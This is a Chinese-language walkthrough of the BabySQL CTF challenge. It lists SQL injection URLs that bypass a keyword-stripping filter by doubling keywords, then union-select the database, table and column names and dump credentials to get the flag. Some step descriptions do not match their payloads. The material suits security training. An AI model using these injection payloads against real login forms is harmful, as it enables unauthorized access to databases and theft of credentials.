[极客大挑战 2019]BabySQL 1
1.发现
1.1随便输入,查看结果。

1.2使用万能密码,登录失败。
/check.php?username=admin' or '1'='1&password=1

知识点:
1)万能密码绕过
1.3 尝试注释掉password内容,登陆成功。
/check.php?username=admin' %23&password=1

知识点:
1)urlencode编码
2.步骤
2.1尝试查询字段数,根据报错信息,可以判断出屏蔽掉了关键字:or,所以万能密码登陆失败。
/check.php?username=admin' order by 3%23&password=1

2.2尝试双写绕过,绕过成功。
/check.php?username=admin' oorr '1'='1%23&password=1

知识点:
1)双写绕过 replace函数
2.3因为存在将关键字置换为空的过滤,全部双写以绕过,查询字段数,判断出字段数为3。
/check.php?username=admin' uniunionon selselectect 1,2,3,4 %23 &password=1

知识点:
1)SQL语句
2)联合查询
2.4 查询回显点位,得到回显点位为2和3。
/check.php ?username=1' uniunionon selselectect 11,22,33 %23 &password=1

2.5 查询当前数据库名及版本,得到数据库名为:geek
/check.php ?username=1' uniunionon selselectect 11,version(),database() %23 &password=1

2.6 继续查询当数据库中表名,得到两个表名为:b4bsql和geekuser。
/check.php ?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 &password=1

2.7 查询第一个表中的内容,得到该表中的字段信息。
/check.php ?username=1' uniunionon selselectect 11,22,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom geek.b4bsql %23 &password=1

2.8 查询username和password的内容,得到flag.
/check.php ?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23 &password=1

3.借鉴
(16条消息) BUUCTF [极客大挑战 2019] BabySQL_Senimo-CSDN博客
(16条消息) SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master_Dooz的博客-CSDN博客

浙公网安备 33010602011771号